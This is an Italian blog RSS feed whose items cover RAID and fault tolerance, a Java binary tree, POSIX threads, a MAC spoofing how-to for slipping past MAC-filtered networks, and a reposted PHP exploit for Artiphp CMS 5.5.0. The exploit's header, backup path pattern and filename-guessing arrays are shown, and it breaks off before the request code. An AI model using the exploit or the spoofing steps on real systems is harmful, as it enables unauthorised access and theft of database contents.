<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Brutus Wolf Blog</title>
	<atom:link href="http://brutuswolf.altervista.org/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://brutuswolf.altervista.org/blog</link>
	<description>Hacking &#38; Informatica</description>
	<lastBuildDate>Sat, 22 Sep 2012 14:36:54 +0000</lastBuildDate>
	<language>it-IT</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Fault Tolerance</title>
		<link>http://brutuswolf.altervista.org/blog/2012/09/22/fault-tolerance/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/09/22/fault-tolerance/#comments</comments>
		<pubDate>Sat, 22 Sep 2012 14:36:54 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[Utility]]></category>
		<category><![CDATA[mirroring]]></category>
		<category><![CDATA[striping]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2585</guid>
		<description><![CDATA[<p>La non disponibilità del sistema può essere dovuta a problemi banali come la mancanza di corrente (black out) o un guasto del sistema. Perchè il sistema sia disponibile anche in...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/09/22/fault-tolerance/">Fault Tolerance</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>La non disponibilità del sistema può essere dovuta a problemi banali come la mancanza di corrente (black out) o un guasto del sistema.<br />
Perchè il sistema sia disponibile anche in caso di cadute di corrente si può dotare il sistema di un gruppo di continuità o <strong>UPS</strong> , cioè una tecnologia di alimentazione dotata di batterie in grado di fornire energia quando la corrente della rete elettrica non è disponibile.</p>
<p><span id="more-2585"></span> </p>
<p>Per sistemi in cui è accettabile l&#8217;interruzione dell&#8217;attività ma non la perdita di dati può bastare la duplicazione del disco, utilizzando per esempio tecniche di RAID. Il RAID può essere realizzato in modo <strong>hardware</strong> o in modo <strong>software dal sistema operativo</strong>.<br />
Ci sono varie tecniche, chiamate livelli. In pratica si basano su tecniche di mirroring e di striping. Il <strong>mirroring</strong> è la copia dei dati su un altra unità; può essere fatto con due unità con lo stesso controller o ciascuna con un proprio controller. Il disco con i dati originali e la copia costituiscono un mirror set. Se un disco si guasta si possono recuperare i dati dall&#8217;altro, associandolo ad un nuovo disco di mirroring.<br />
Con lo <strong>striping  </strong>i dati vengono sparsi su array di dischi, che appaiono come un unico volume. Lo stripe set con parità memorizza anche delle informazioni di parità, distribuite sui dischi; se un disco si guasta le informazioni di parità permettono di ricostruire i dati: basta installare un nuovo disco e rigenerare lo stripe set.</p>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/09/22/fault-tolerance/">Fault Tolerance</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/09/22/fault-tolerance/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[JAVA]Albero binario</title>
		<link>http://brutuswolf.altervista.org/blog/2012/09/22/javaalbero-binario/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/09/22/javaalbero-binario/#comments</comments>
		<pubDate>Sat, 22 Sep 2012 14:18:46 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[programmazione]]></category>
		<category><![CDATA[albero binario]]></category>
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2583</guid>
		<description><![CDATA[<p>package alberobinario; class Albero{ &#160;public Albero(){ &#160; rad=null; &#160;} &#160;public void PreOrder(){ &#160; preorder(rad); &#160;} &#160;public void CreaDaStr(String S){ &#160; Nodo tmp=rad; &#160; crea(S,tmp); &#160; &#160;} &#160; &#160;public class Nodo...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/09/22/javaalbero-binario/">[JAVA]Albero binario</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<div class="codecolorer-container text twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">package alberobinario;<br />
<br />
class Albero{<br />
&nbsp;public Albero(){<br />
&nbsp; rad=null;<br />
&nbsp;}<br />
&nbsp;public void PreOrder(){<br />
&nbsp; preorder(rad);<br />
&nbsp;}<br />
&nbsp;public void CreaDaStr(String S){<br />
&nbsp; Nodo tmp=rad;<br />
&nbsp; crea(S,tmp); &nbsp; <br />
&nbsp;}<br />
&nbsp;<br />
&nbsp;public class Nodo {<br />
&nbsp; Nodo(){<br />
&nbsp; &nbsp;L=null;R=null;<br />
&nbsp; }<br />
&nbsp; Nodo(char info,Nodo L,Nodo R){<br />
&nbsp; &nbsp;this.info=info;<br />
&nbsp; &nbsp;this.L=L; this.R=R;<br />
&nbsp; }<br />
&nbsp; char info;<br />
&nbsp; Nodo L,R;<br />
&nbsp;}<br />
&nbsp;private void preorder(Nodo r){<br />
&nbsp; if(r!=null){<br />
&nbsp; &nbsp;System.out.println(r.info);<br />
&nbsp; &nbsp;preorder(r.L);<br />
&nbsp; &nbsp;preorder(r.R);<br />
&nbsp; } else {<br />
&nbsp; &nbsp;System.out.println(&quot;.&quot;);<br />
&nbsp; }<br />
&nbsp;}<br />
&nbsp;private void crea(String s,Nodo N){<br />
&nbsp; if(s.charAt(0) != '.'){<br />
&nbsp; &nbsp;Nodo L=new Nodo(),R=new Nodo();<br />
&nbsp; &nbsp;N=new Nodo(s.charAt(0),L,R);<br />
&nbsp; &nbsp;s=s.substring(1);<br />
&nbsp; &nbsp;crea(s,L);<br />
&nbsp; &nbsp;s=s.substring(1);<br />
&nbsp; &nbsp;crea(s,R);<br />
&nbsp; }<br />
&nbsp;}<br />
&nbsp;private Nodo rad; &nbsp;<br />
}<br />
<br />
public class AlberoBinario {<br />
&nbsp;public static void main(String[] args) {<br />
&nbsp; Albero A=new Albero();<br />
&nbsp; A.CreaDaStr(&quot;A.B...&quot;);<br />
&nbsp; A.PreOrder();<br />
&nbsp;}<br />
}</div></div>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/09/22/javaalbero-binario/">[JAVA]Albero binario</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/09/22/javaalbero-binario/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Programmazione concorrente in linux [POSIX C]</title>
		<link>http://brutuswolf.altervista.org/blog/2012/05/30/programmazione-concorrente-in-linux-posix-c/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/05/30/programmazione-concorrente-in-linux-posix-c/#comments</comments>
		<pubDate>Wed, 30 May 2012 07:40:43 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[libpthread]]></category>
		<category><![CDATA[phtread.h]]></category>
		<category><![CDATA[posix c]]></category>
		<category><![CDATA[programmazione concorrente]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2573</guid>
		<description><![CDATA[<p>Un thread è una linea di esecuzione assestante all&#8217;interno di un processo che comprende un identificatore, un program counter, un set di registri ed uno stack, e condivide con gli...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/05/30/programmazione-concorrente-in-linux-posix-c/">Programmazione concorrente in linux [POSIX C]</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><a href="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/05/Schermata-del-2012-05-30-093506.png"><img src="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/05/Schermata-del-2012-05-30-093506.png" alt="" title="thread,programmazione concorrente" width="671" height="325" class="aligncenter size-full wp-image-2578" /></a></p>
<p>Un<strong> thread </strong>è una linea di esecuzione assestante all&#8217;interno di un processo che comprende un identificatore, un program counter, un set di registri ed uno stack, e condivide con gli altri thread che appartengono allo stesso processo la sezione di codice, quella dei dati e altre risorse del sistema operativo come i file aperti ed i segnali. Solitamente un programma presenta un solo thread principale, ma nel caso in cui si utilizzi una <strong>programmazione concorrente</strong> quest&#8217;ultimo può avere più linee di esecuzione e di conseguenza eseguire più attività contemporaneamente.</p>
<p style="margin-bottom: 0cm;" align="JUSTIFY">La concorrenza può essere di due tipi:</p>
<ul>
<li><strong>reale</strong>, cioè nel computer sono presenti più processori o core</li>
<li><strong>simulata</strong> che prevede una tecnica basata su quanti di tempo e uno scambio continuo trai thread</li>
</ul>
<p>I benefici che si possono ottenere da questo tipo di programmazione sono moltissimi: prontezza di risposta, condivisione di risorse, minor tempo di calcolo e molti altri.</p>
 
<p>In questo articolo andremo a vedere nel dettaglio come creare ed attendere la terminazione di un thread in ambiente linux utilizzando la libreria<strong> pthread</strong> (per la compilazione è necessario aggiungere il parametro -lpthread)</p>
<div class="codecolorer-container c twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">#include &lt;stdlib.h&gt;</span><br />
<span style="color: #339933;">#include &lt;stdio.h&gt;</span><br />
<span style="color: #339933;">#include &lt;pthread.h&gt;</span><br />
<br />
<span style="color: #993333;">void</span> <span style="color: #339933;">*</span>thread<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #339933;">*</span>p<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;sono un thread&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp;pthread_t T<span style="color: #339933;">;</span><br />
&nbsp;pthread_create<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>T<span style="color: #339933;">,</span>NULL<span style="color: #339933;">,&amp;</span>thread<span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;pthread_join<span style="color: #009900;">&#40;</span>T<span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>L&#8217;esempio mostra come creare un thread ed associare ad esso una funzione. La funzione <strong>pthread_join</strong> serve ad attendere la terminazione di questo.<br />
La funzione per creare thread permette anche di passare alcuni parametri alla funzione, ecco come fare:</p>
<div class="codecolorer-container c twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="c codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">#include &lt;stdlib.h&gt;</span><br />
<span style="color: #339933;">#include &lt;stdio.h&gt;</span><br />
<span style="color: #339933;">#include &lt;pthread.h&gt;</span><br />
<br />
<span style="color: #993333;">void</span> <span style="color: #339933;">*</span>thread<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #339933;">*</span>p<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp;<span style="color: #993333;">int</span> N<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span>p<span style="color: #339933;">;</span><br />
&nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;parametro %d&quot;</span><span style="color: #339933;">,</span>N<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp;pthread_t T<span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #993333;">int</span> N<span style="color: #339933;">=</span><span style="color: #0000dd;">100</span><span style="color: #339933;">;</span><br />
&nbsp;pthread_create<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>T<span style="color: #339933;">,</span>NULL<span style="color: #339933;">,&amp;</span>thread<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>N<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;pthread_join<span style="color: #009900;">&#40;</span>T<span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Grazie a questi semplici esempi siete già in grado di creare ottimi programmi multithreading. A breve verranno analizzate anche le problematiche che possono nascere da questo tipo di programmazione.</p>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/05/30/programmazione-concorrente-in-linux-posix-c/">Programmazione concorrente in linux [POSIX C]</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/05/30/programmazione-concorrente-in-linux-posix-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MAC SPOOFING: come cambiare il proprio mac su ubuntu</title>
		<link>http://brutuswolf.altervista.org/blog/2012/05/30/mac-spoofing-come-cambiare-il-proprio-mac-su-ubuntu/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/05/30/mac-spoofing-come-cambiare-il-proprio-mac-su-ubuntu/#comments</comments>
		<pubDate>Wed, 30 May 2012 06:51:23 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[cambiare mac]]></category>
		<category><![CDATA[change mac address]]></category>
		<category><![CDATA[MAC Spoofing]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2568</guid>
		<description><![CDATA[<p>In informatica e telecomunicazioni l&#8217;indirizzo MAC (in ingleseMAC address, dove MAC sta per Media Access Control), detto anche indirizzo fisico, indirizzo ethernet o indirizzo LAN, è un codice di 48...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/05/30/mac-spoofing-come-cambiare-il-proprio-mac-su-ubuntu/">MAC SPOOFING: come cambiare il proprio mac su ubuntu</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<blockquote><p>In informatica e telecomunicazioni l&#8217;<strong>indirizzo MAC</strong> (in inglese<em>MAC address</em>, dove MAC sta per <em>Media Access Control</em>), detto anche <em>indirizzo fisico</em>, <em>indirizzo ethernet</em> o <em>indirizzo LAN</em>, è un codice di 48 bit (6 byte) assegnato in modo univoco dal produttore ad ogni scheda di reteethernet prodotta al mondo, tuttavia modificabile a livello software.</p>
<p>Rappresenta in sostanza un identificativo per un particolare dispositivo di rete a livello di rete locale: ad esempio due schede di rete in due diversi calcolatori avranno due diversi nomi (e quindi diversi indirizzi MAC), così come avranno nomi diversi una scheda Ethernet ed una scheda wireless posizionate nel medesimo computer.</p></blockquote>
<p>Come si può capire dall&#8217;introduzione (prelevata da wikipedia) l&#8217;indirizzo MAC è diverso per ogni computer e grazie a questo può essere eseguita una distinzione tra computer di una sottorete. Talvolta modificare questi 6 byte può essere molto utile, per esempio per riuscire ad accedere a determinati privilegi in una una rete lan oppure connettersi ad una rete wifi che limita l&#8217;accesso solo ad alcuni mac address.</p>
 
<p>Per sapere il proprio mac sotto linux bisogna lanciare nella shell in comando: <strong>ifconfig</strong></p>
<p><a href="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/05/Schermata-del-2012-05-30-084340.png"><img class="aligncenter size-medium wp-image-2570" title="ifconfig mac address" src="http://brutuswolf.altervista.org/blog/wp-content/uploads/2012/05/Schermata-del-2012-05-30-084340-300x192.png" alt="" width="300" height="192" /></a></p>
<p>Per modificare questo indirizzo bisogna installare un programmino chiamato <strong>Open MACchanger</strong>. Digitate sul terminale :</p>
<blockquote>
<pre>sudo apt-get install macchanger macchanger-gtk</pre>
</blockquote>
<p>E per avviare il programma</p>
<blockquote>
<pre>macchanger-gtk</pre>
</blockquote>
<p>L&#8217;utilizzo del software è veramente semplice quindi non sono necessarie ulteriori spiegazioni.</p>
<p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/05/30/mac-spoofing-come-cambiare-il-proprio-mac-su-ubuntu/">MAC SPOOFING: come cambiare il proprio mac su ubuntu</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://brutuswolf.altervista.org/blog/2012/05/30/mac-spoofing-come-cambiare-il-proprio-mac-su-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Artiphp CMS 5.5.0 Database Backup Disclosure Exploit</title>
		<link>http://brutuswolf.altervista.org/blog/2012/05/17/artiphp-cms-5-5-0-database-backup-disclosure-exploit/</link>
		<comments>http://brutuswolf.altervista.org/blog/2012/05/17/artiphp-cms-5-5-0-database-backup-disclosure-exploit/#comments</comments>
		<pubDate>Thu, 17 May 2012 13:06:21 +0000</pubDate>
		<dc:creator>Brutus Wolf</dc:creator>
				<category><![CDATA[exploit]]></category>

		<guid isPermaLink="false">http://brutuswolf.altervista.org/blog/?p=2565</guid>
		<description><![CDATA[<p>&#60;?php &#160; /* &#160; Artiphp CMS 5.5.0 Database Backup Disclosure Exploit &#160; &#160; Vendor: Artiphp Product web page: http://www.artiphp.com Affected version: 5.5.0 Neo (r422) &#160; Summary: Artiphp is a content...</p><p>L'articolo <a href="http://brutuswolf.altervista.org/blog/2012/05/17/artiphp-cms-5-5-0-database-backup-disclosure-exploit/">Artiphp CMS 5.5.0 Database Backup Disclosure Exploit</a> sembra essere il primo su <a href="http://brutuswolf.altervista.org/blog">Brutus Wolf Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<div class="codecolorer-container php twitlight" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
&nbsp;<br />
<span style="color: #666666; font-style: italic;">/*<br />
&nbsp;<br />
Artiphp CMS 5.5.0 Database Backup Disclosure Exploit<br />
&nbsp;<br />
&nbsp;<br />
Vendor: Artiphp<br />
Product web page: http://www.artiphp.com<br />
Affected version: 5.5.0 Neo (r422)<br />
&nbsp;<br />
Summary: Artiphp is a content management system (CMS) open<br />
and free to create and manage your website.<br />
&nbsp;<br />
Desc: Artiphp stores database backups using backupDB() utility<br />
with a predictable file name inside the web root, which can be<br />
exploited to disclose sensitive information by downloading the<br />
file. The backup is located in '/artzone/artpublic/database/'<br />
directory as 'db_backup_[type].[yyyy-mm-dd].sql.gz' filename.<br />
&nbsp;<br />
Tested on: Microsoft Windows XP Professional SP3 (EN)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Apache 2.2.21<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PHP 5.3.8 / 5.3.9<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MySQL 5.5.20<br />
&nbsp;<br />
&nbsp;<br />
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @zeroscience<br />
&nbsp;<br />
&nbsp;<br />
Advisory ID: ZSL-2012-5091<br />
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5091.php<br />
&nbsp;<br />
&nbsp;<br />
15.05.2012<br />
&nbsp;<br />
*/</span><br />
&nbsp;<br />
<a href="http://www.php.net/error_reporting"><span style="color: #990000;">error_reporting</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<br />
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>o==========================================================o<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>|<span style="color: #000099; font-weight: bold;">\t</span>Artiphp CMS 5.5.0 DB Backup Disclosure Exploit &nbsp; &nbsp; |<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;|<span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\t</span>by LiquidWorm &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>o==========================================================o<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp;<br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$argc</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #660099; font-weight: bold;">\x20</span>[*] Usage: php <span style="color: #006699; font-weight: bold;">$argv[0]</span> &lt;host&gt; &lt;port&gt;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
&nbsp;<br />
<span style="color: #000088;">$godina_array</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'2012'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'2011'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'2010'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<br />
<span style="color: #000088;">$mesec_array</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'12'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'11'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'10'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'09'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">'08'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'07'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'06'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'05'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #0000ff;">'04'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'03'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'02'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'01'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<br />
<span style="color: #000088;">$dn_array</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'31'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'30'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'29'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'28'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'27'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'26'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">'25'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'24'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'23'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'22'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'21'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'20'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">'19'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'18'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'17'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'16'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'15'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'14'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">'13'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'12'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'11'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'10'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'09'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'08'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">'07'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'06'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'05'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'04'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'03'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'02'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">'01'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<br />
